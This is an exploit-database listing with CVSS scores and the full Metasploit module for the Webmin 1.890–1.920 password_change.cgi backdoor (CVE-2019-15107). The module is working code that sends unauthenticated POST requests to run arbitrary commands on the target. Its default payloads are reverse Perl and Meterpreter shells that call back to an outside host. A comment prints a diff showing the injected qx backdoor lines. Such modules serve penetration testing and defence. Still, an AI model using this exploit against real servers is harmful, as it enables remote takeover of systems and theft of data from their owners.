Lucene search

K
zdtMetasploit1337DAY-ID-33149
HistoryAug 23, 2019 - 12:00 a.m.

Webmin 1.920 password_change.cgi Backdoor Exploit

2019-08-2300:00:00
metasploit
0day.today
282

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

This Metasploit module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project’s site. Unknown attacker(s) inserted Perl qx statements into the build server’s source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Webmin password_change.cgi Backdoor',
      'Description'        => %q{
        This module exploits a backdoor in Webmin versions 1.890 through 1.920.
        Only the SourceForge downloads were backdoored, but they are listed as
        official downloads on the project's site.

        Unknown attacker(s) inserted Perl qx statements into the build server's
        source code on two separate occasions: once in April 2018, introducing
        the backdoor in the 1.890 release, and in July 2018, reintroducing the
        backdoor in releases 1.900 through 1.920.

        Only version 1.890 is exploitable in the default install. Later affected
        versions require the expired password changing feature to be enabled.
      },
      'Author'             => [
        'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
        'wvu'    # This module and updated information about the backdoor
      ],
      'References'         => [
        ['CVE', '2019-15107'], # y tho
        ['URL', 'http://www.webmin.com/exploit.html'],
        ['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
        ['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
        ['URL', 'https://github.com/webmin/webmin/issues/947']
      ],
      'DisclosureDate'     => '2019-08-10',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'         => true,
      'Targets'            => [
        ['Automatic (Unix In-Memory)',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :unix_memory,
          'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
        ],
        ['Automatic (Linux Dropper)',
          'Platform'       => 'linux',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :linux_dropper,
          'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'Reliability'      => [REPEATABLE_SESSION],
        'SideEffects'      => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(10000),
      OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error('Server did not respond')
      return CheckCode::Unknown
    end

    version =
      res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

    unless version
      vprint_error('Webmin version not detected')
      return CheckCode::Unknown
    end

    version = Gem::Version.new(version)

    vprint_status("Webmin #{version} detected")
    checkcode = CheckCode::Detected

    unless version.between?(*target['Version'])
      vprint_error("Webmin #{version} is not a supported target")
      return CheckCode::Safe
    end

    vprint_good("Webmin #{version} is a supported target")
    checkcode = CheckCode::Appears

    res = execute_command("echo #{token}")

    unless res
      vprint_error('Webmin did not respond to check command')
      return checkcode
    end

    if res.body.include?('Password changing is not enabled!')
      vprint_error('Expired password changing disabled')
      return CheckCode::Safe
    end

    if res.body.include?(token)
      vprint_good('Webmin executed a benign check command')
      checkcode = CheckCode::Vulnerable
    else
      vprint_error('Webmin did not execute our check command')
      return CheckCode::Safe
    end

    checkcode
  end

  def exploit
    # These CheckCodes are allowed to pass automatically
    checkcodes = [
      CheckCode::Appears,
      CheckCode::Vulnerable
    ]

    unless checkcodes.include?(check) || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    print_status("Configuring #{target.name} target")

    case target['Type']
    when :unix_memory
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      res = execute_command(payload.encoded)

      if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
        print_warning('Dumping command output in full response body')

        if res.body.empty?
          print_error('Empty response body, no command output')
          return
        end

        print_line(res.body)
      end
    when :linux_dropper
      print_status("Sending #{datastore['PAYLOAD']} command stager")
      execute_cmdstager
    end
  end

=begin
[email protected]:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
  #!/usr/bin/perl
2:1c
  #!/usr/local/bin/perl
====1
1:12c
  $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
  $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
  # Show ok page
3:200c

[email protected]:~/Downloads$
=end
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers'   => {'Referer' => full_uri},
      'vars_post' => {
        # 1.890
        'expired' => cmd,
        # 1.900-1.920
        'new1'    => token,
        'new2'    => token,
        'old'     => cmd
      }
    }, 3.5)
  end

  def token
    @token ||= Rex::Text.rand_text_alphanumeric(8..42)
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C